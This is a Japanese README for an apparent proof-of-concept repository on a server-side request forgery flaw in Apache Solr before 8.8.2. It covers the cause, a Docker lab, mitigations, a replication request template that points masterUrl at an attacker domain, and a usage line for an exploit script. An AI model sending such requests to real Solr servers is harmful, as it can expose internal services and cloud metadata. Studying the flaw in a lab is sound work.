
Apache Solr < 8.8.2 サーバーサイドリクエストフォージェリ
| 番号 | タイトル |
|---|---|
| 1 | 概要 |
| 2 | 根本原因 |
| 3 | 概念実証 |
| 4 | 緩和策 (8.8.2+) |
| 5 | 参考 |
教育および研究目的のみに使用してください。所有していない、またはテストする明示的な許可がないシステムでこのコードを使用しないでください。誤用について私は一切責任を負いません。
これはApache Solr(< 8.8.2)に影響するサーバーサイドリクエストフォージェリの脆弱性です。レプリケーションハンドラのmasterUrlパラメータを介して、リモートの攻撃者が内部または外部のシステムに対して任意のHTTPリクエストを送信でき、内部サービスや機密性の高いクラウドメタデータを露出させる可能性があります。
影響を受けるバージョン : 8.8.2 より前のすべてのバージョン(7.0.0 - 7.7.3, 8.0.0 - 8.8.1)
Solr のレプリケーションメカニズムは、「レプリカ」が masterUrl または leaderUrl パラメータを指定して「マスター/リーダー」からインデックスファイルを取得できるようにします。影響を受ける Apache Solr バージョンでは、このパラメータで指定されたURLが適切に検証されません。そのため、攻撃者はサーバーに任意のリモートリソースへアクセスさせることができます。
脆弱なフロー
/solr/<CORE_NAME>/replication?command=fetchindex&masterUrl=http://<ATTACKER_DOMAIN>
Solr の ReplicationHandler は次のことを行います。
masterUrl を使用してインデックスデータをダウンロードする。ラボのセットアップ
$ cd lab
$ docker compose up -d
# verify accessibility
$ curl http://127.0.0.1:8983/solr
$ docker compose down
悪用
# for windows
$ python -m venv <NAME>
$ .\<NAME>\Scripts\activate
# for linux
$ python3 -m venv <NAME>
$ source ./<NAME>/scripts/activate
$ pip install -r requirements.txt
cve-2021-27905.py を実行します。$ python3 cve-2021-27905.py --target <TARGET> --payload <SSRF_PAYLOAD>

Solr の ReplicationHandler は次のようにパッチされました。
masterUrl/leaderUrl が承認されたホストのみを指すことを検証する。http、https のみ)。/replication を認証で保護するか、未使用の場合は完全に削除することを推奨する。